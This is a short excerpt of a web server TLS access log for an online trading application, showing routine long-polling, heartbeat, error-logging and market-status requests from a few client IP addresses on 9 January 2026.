[09/Jan/2026:09:52:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923838060 HTTP/1.1" -
[09/Jan/2026:09:52:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923853614 HTTP/1.1" -
[09/Jan/2026:09:52:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923842067 HTTP/1.1" -
[09/Jan/2026:09:52:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:52:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:52:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:52:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:52:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923842057 HTTP/1.1" -
[09/Jan/2026:09:52:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923843089 HTTP/1.1" -
[09/Jan/2026:09:52:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923858681 HTTP/1.1" -
[09/Jan/2026:09:52:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923847272 HTTP/1.1" -
[09/Jan/2026:09:52:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923848108 HTTP/1.1" -
[09/Jan/2026:09:52:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923848056 HTTP/1.1" -
[09/Jan/2026:09:53:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923863716 HTTP/1.1" -
[09/Jan/2026:09:53:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:53:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:53:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923852409 HTTP/1.1" -
[09/Jan/2026:09:53:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923853138 HTTP/1.1" -
[09/Jan/2026:09:53:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923868740 HTTP/1.1" -
[09/Jan/2026:09:53:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923854051 HTTP/1.1" -
[09/Jan/2026:09:53:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923857468 HTTP/1.1" -
[09/Jan/2026:09:53:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923858161 HTTP/1.1" -
[09/Jan/2026:09:53:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923873779 HTTP/1.1" -
[09/Jan/2026:09:53:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923862512 HTTP/1.1" -
[09/Jan/2026:09:53:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923860056 HTTP/1.1" -
[09/Jan/2026:09:53:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923863198 HTTP/1.1" -
[09/Jan/2026:09:53:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:53:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923878842 HTTP/1.1" -
[09/Jan/2026:09:53:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923867672 HTTP/1.1" -
[09/Jan/2026:09:53:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923866060 HTTP/1.1" -
[09/Jan/2026:09:53:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923868256 HTTP/1.1" -
[09/Jan/2026:09:53:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923883905 HTTP/1.1" -
[09/Jan/2026:09:53:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923872818 HTTP/1.1" -
[09/Jan/2026:09:53:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:53:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:53:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:53:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923872056 HTTP/1.1" -
[09/Jan/2026:09:53:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923873290 HTTP/1.1" -
[09/Jan/2026:09:53:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923889232 HTTP/1.1" -
[09/Jan/2026:09:53:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923877952 HTTP/1.1" -
[09/Jan/2026:09:53:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923878311 HTTP/1.1" -
[09/Jan/2026:09:53:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923878056 HTTP/1.1" -
[09/Jan/2026:09:53:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:53:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:53:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:53:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923894260 HTTP/1.1" -
[09/Jan/2026:09:53:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:53:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923883160 HTTP/1.1" -
[09/Jan/2026:09:53:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923883350 HTTP/1.1" -
[09/Jan/2026:09:53:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923884056 HTTP/1.1" -
[09/Jan/2026:09:53:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923899288 HTTP/1.1" -
[09/Jan/2026:09:53:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923888227 HTTP/1.1" -
[09/Jan/2026:09:53:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923888408 HTTP/1.1" -
[09/Jan/2026:09:53:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923904319 HTTP/1.1" -
[09/Jan/2026:09:53:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923890055 HTTP/1.1" -
[09/Jan/2026:09:53:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923893300 HTTP/1.1" -
[09/Jan/2026:09:53:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923893450 HTTP/1.1" -
[09/Jan/2026:09:53:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:53:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923909388 HTTP/1.1" -
[09/Jan/2026:09:53:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923898431 HTTP/1.1" -
[09/Jan/2026:09:53:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923896055 HTTP/1.1" -
[09/Jan/2026:09:53:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923898483 HTTP/1.1" -
[09/Jan/2026:09:53:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923914467 HTTP/1.1" -
[09/Jan/2026:09:53:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:53:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:53:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923903585 HTTP/1.1" -
[09/Jan/2026:09:53:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:53:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:53:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923902051 HTTP/1.1" -
[09/Jan/2026:09:53:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923903496 HTTP/1.1" -
[09/Jan/2026:09:53:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923919544 HTTP/1.1" -
[09/Jan/2026:09:53:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923908722 HTTP/1.1" -
[09/Jan/2026:09:53:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923908518 HTTP/1.1" -
[09/Jan/2026:09:53:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923908057 HTTP/1.1" -
[09/Jan/2026:09:54:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:54:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:54:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:54:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923924568 HTTP/1.1" -
